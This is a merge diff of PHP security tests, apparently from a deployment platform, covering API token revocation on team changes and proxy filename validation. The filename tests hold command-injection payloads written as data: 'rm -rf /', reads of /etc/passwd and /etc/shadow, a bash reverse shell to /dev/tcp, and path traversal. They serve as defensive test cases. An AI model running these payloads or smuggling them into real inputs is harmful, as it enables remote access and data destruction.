Merge remote-tracking branch 'origin/next' into fix/application-branch-validation

tests/Feature/ApiTokenTeamLifecycleSecurityTest.php

@@ -0,0 +1,128 @@
+<?php
+
+use App\Livewire\Security\ApiTokens;
+use App\Livewire\Team\Member;
+use App\Models\InstanceSettings;
+use App\Models\Project;
+use App\Models\Team;
+use App\Models\User;
+use Illuminate\Foundation\Testing\RefreshDatabase;
+use Illuminate\Support\Facades\DB;
+use Illuminate\Support\Facades\Hash;
+use Livewire\Livewire;
+
+uses(RefreshDatabase::class);
+
+beforeEach(function () {
+    InstanceSettings::unguarded(fn () => InstanceSettings::query()->updateOrCreate(
+        ['id' => 0],
+        ['is_api_enabled' => true],
+    ));
+
+    $this->team = Team::factory()->create();
+    $this->user = User::factory()->create();
+    $this->team->members()->attach($this->user->id, ['role' => 'admin']);
+    session(['currentTeam' => $this->team]);
+});
+
+function bearerJson(string $token): array
+{
+    return [
+        'Authorization' => 'Bearer '.$token,
+        'Content-Type' => 'application/json',
+    ];
+}
+
+test('removed member token cannot read team projects', function () {
+    Project::create(['name' => 'Secret', 'team_id' => $this->team->id]);
+    $token = $this->user->createToken('read-token', ['read'])->plainTextToken;
+
+    $this->team->members()->detach($this->user->id);
+
+    $this->withHeaders(bearerJson($token))
+        ->getJson('/api/v1/projects')
+        ->assertUnauthorized();
+});
+
+test('removed member token cannot create team projects', function () {
+    $token = $this->user->createToken('write-token', ['write'])->plainTextToken;
+
+    $this->team->members()->detach($this->user->id);
+
+    $this->withHeaders(bearerJson($token))
+        ->postJson('/api/v1/projects', ['name' => 'Should Not Exist'])
+        ->assertUnauthorized();
+
+    expect(Project::where('name', 'Should Not Exist')->exists())->toBeFalse();
+});
+
+test('downgraded member old write token cannot create team projects', function () {
+    $token = $this->user->createToken('write-token', ['write'])->plainTextToken;
+
+    $this->team->members()->updateExistingPivot($this->user->id, ['role' => 'member']);
+
+    $this->withHeaders(bearerJson($token))
+        ->postJson('/api/v1/projects', ['name' => 'Downgrade Bypass'])
+        ->assertForbidden();
+
+    expect(Project::where('name', 'Downgrade Bypass')->exists())->toBeFalse();
+});
+
+test('admin removal through team member component revokes team tokens', function () {
+    $owner = User::factory()->create();
+    $this->team->members()->attach($owner->id, ['role' => 'owner']);
+    $token = $this->user->createToken('read-token', ['read'])->accessToken;
+
+    $this->actingAs($owner);
+    session(['currentTeam' => $this->team]);
+
+    Livewire::test(Member::class, ['member' => $this->user])
+        ->call('remove');
+
+    expect(DB::table('personal_access_tokens')->where('id', $token->id)->exists())->toBeFalse();
+});
+
+test('role downgrade through team member component revokes team tokens', function () {
+    $owner = User::factory()->create();
+    $this->team->members()->attach($owner->id, ['role' => 'owner']);
+    $token = $this->user->createToken('write-token', ['write'])->accessToken;
+
+    $this->actingAs($owner);
+    session(['currentTeam' => $this->team]);
+
+    Livewire::test(Member::class, ['member' => $this->user])
+        ->call('makeReadonly');
+
+    expect(DB::table('personal_access_tokens')->where('id', $token->id)->exists())->toBeFalse();
+});
+
+test('member cannot create write token through livewire token form', function () {
+    $this->team->members()->updateExistingPivot($this->user->id, ['role' => 'member']);
+
+    $this->actingAs($this->user);
+    session(['currentTeam' => $this->team]);
+
+    Livewire::test(ApiTokens::class)
+        ->set('description', 'member-write-token')
+        ->set('expiresInDays', 30)
+        ->set('permissions', ['write'])
+        ->call('addNewToken');
+
+    expect($this->user->tokens()->where('name', 'member-write-token')->exists())->toBeFalse();
+});
+
+test('password change revokes user personal access tokens', function () {
+    $token = $this->user->createToken('read-token', ['read'])->accessToken;
+
+    $this->user->forceFill(['password' => Hash::make('new-password')])->save();
+
+    expect(DB::table('personal_access_tokens')->where('id', $token->id)->exists())->toBeFalse();
+});
+
+test('team deletion revokes team bound personal access tokens', function () {
+    $token = $this->user->createToken('read-token', ['read'])->accessToken;
+
+    $this->team->delete();
+
+    expect(DB::table('personal_access_tokens')->where('id', $token->id)->exists())->toBeFalse();
+});

tests/Feature/Mcp/McpEndpointTest.php

@@ -192,3 +192,14 @@ test('tool calls fail when the token lacks the read ability', function () {
     expect($response->json('result.isError'))->toBeTrue();
     expect($response->json('result.content.0.text'))->toContain('Missing required permissions');
 });
+
+test('MCP rejects token when user no longer belongs to token team', function () {
+    Project::create(['name' => 'Hidden', 'team_id' => $this->team->id]);
+    $token = $this->user->createToken('mcp-read', ['read'])->plainTextToken;
+
+    $this->team->members()->detach($this->user->id);
+
+    $response = mcpCallTool($token, 'list_projects');
+
+    $response->assertUnauthorized();
+});

tests/Unit/ProxyConfigurationSecurityTest.php

@@ -12,43 +12,69 @@
  *  - app/Livewire/Server/Proxy/DynamicConfigurationNavbar.php
  */
 test('proxy configuration rejects command injection in filename with command substitution', function () {
-    expect(fn () => validateShellSafePath('test$(whoami)', 'proxy configuration filename'))
+    expect(fn () => validateFilenameSafe('test$(whoami)', 'proxy configuration filename'))
         ->toThrow(Exception::class);
 });
 
 test('proxy configuration rejects command injection with semicolon', function () {
-    expect(fn () => validateShellSafePath('config; id > /tmp/pwned', 'proxy configuration filename'))
+    expect(fn () => validateFilenameSafe('config; id > /tmp/pwned', 'proxy configuration filename'))
         ->toThrow(Exception::class);
 });
 
 test('proxy configuration rejects command injection with pipe', function () {
-    expect(fn () => validateShellSafePath('config | cat /etc/passwd', 'proxy configuration filename'))
+    expect(fn () => validateFilenameSafe('config | cat /etc/passwd', 'proxy configuration filename'))
         ->toThrow(Exception::class);
 });
 
 test('proxy configuration rejects command injection with backticks', function () {
-    expect(fn () => validateShellSafePath('config`whoami`.yaml', 'proxy configuration filename'))
+    expect(fn () => validateFilenameSafe('config`whoami`.yaml', 'proxy configuration filename'))
         ->toThrow(Exception::class);
 });
 
 test('proxy configuration rejects command injection with ampersand', function () {
-    expect(fn () => validateShellSafePath('config && rm -rf /', 'proxy configuration filename'))
+    expect(fn () => validateFilenameSafe('config && rm -rf /', 'proxy configuration filename'))
         ->toThrow(Exception::class);
 });
 
 test('proxy configuration rejects command injection with redirect operators', function () {
-    expect(fn () => validateShellSafePath('test > /tmp/evil', 'proxy configuration filename'))
+    expect(fn () => validateFilenameSafe('test > /tmp/evil', 'proxy configuration filename'))
         ->toThrow(Exception::class);
 
-    expect(fn () => validateShellSafePath('test < /etc/shadow', 'proxy configuration filename'))
+    expect(fn () => validateFilenameSafe('test < /etc/shadow', 'proxy configuration filename'))
         ->toThrow(Exception::class);
 });
 
 test('proxy configuration rejects reverse shell payload', function () {
-    expect(fn () => validateShellSafePath('test$(bash -i >& /dev/tcp/10.0.0.1/9999 0>&1)', 'proxy configuration filename'))
+    expect(fn () => validateFilenameSafe('test$(bash -i >& /dev/tcp/10.0.0.1/9999 0>&1)', 'proxy configuration filename'))
         ->toThrow(Exception::class);
 });
 
+test('proxy configuration rejects path traversal filenames', function (string $filename) {
+    expect(fn () => validateFilenameSafe($filename, 'proxy configuration filename'))
+        ->toThrow(Exception::class);
+})->with([
+    '../VICTIM_FILE',
+    '../../etc/shadow',
+    '/etc/passwd',
+    'subdir/config.yaml',
+    'subdir\\config.yaml',
+    'config..yaml',
+    "config.yaml\0../../etc/passwd",
+]);
+
+test('dynamic proxy components use filename-safe validation', function () {
+    $deleteComponent = file_get_contents(getcwd().'/app/Livewire/Server/Proxy/DynamicConfigurationNavbar.php');
+    $createComponent = file_get_contents(getcwd().'/app/Livewire/Server/Proxy/NewDynamicConfiguration.php');
+
+    expect($deleteComponent)
+        ->toContain("validateFilenameSafe(\$file, 'proxy configuration filename')")
+        ->not->toContain("validateShellSafePath(\$file, 'proxy configuration filename')");
+
+    expect($createComponent)
+        ->toContain("validateFilenameSafe(\$this->fileName, 'proxy configuration filename')")
+        ->not->toContain("validateShellSafePath(\$this->fileName, 'proxy configuration filename')");
+});
+
 test('proxy configuration escapes filenames properly', function () {
     $filename = "config'test.yaml";
     $escaped = escapeshellarg($filename);
@@ -64,20 +90,20 @@ test('proxy configuration escapes filenames with spaces', function () {
 });
 
 test('proxy configuration accepts legitimate Traefik filenames', function () {
-    expect(fn () => validateShellSafePath('my-service.yaml', 'proxy configuration filename'))
+    expect(fn () => validateFilenameSafe('my-service.yaml', 'proxy configuration filename'))
         ->not->toThrow(Exception::class);
 
-    expect(fn () => validateShellSafePath('app.yml', 'proxy configuration filename'))
+    expect(fn () => validateFilenameSafe('app.yml', 'proxy configuration filename'))
         ->not->toThrow(Exception::class);
 
-    expect(fn () => validateShellSafePath('router_config.yaml', 'proxy configuration filename'))
+    expect(fn () => validateFilenameSafe('router_config.yaml', 'proxy configuration filename'))
         ->not->toThrow(Exception::class);
 });
 
 test('proxy configuration accepts legitimate Caddy filenames', function () {
-    expect(fn () => validateShellSafePath('my-service.caddy', 'proxy configuration filename'))
+    expect(fn () => validateFilenameSafe('my-service.caddy', 'proxy configuration filename'))
         ->not->toThrow(Exception::class);
 
-    expect(fn () => validateShellSafePath('app_config.caddy', 'proxy configuration filename'))
+    expect(fn () => validateFilenameSafe('app_config.caddy', 'proxy configuration filename'))
         ->not->toThrow(Exception::class);
 });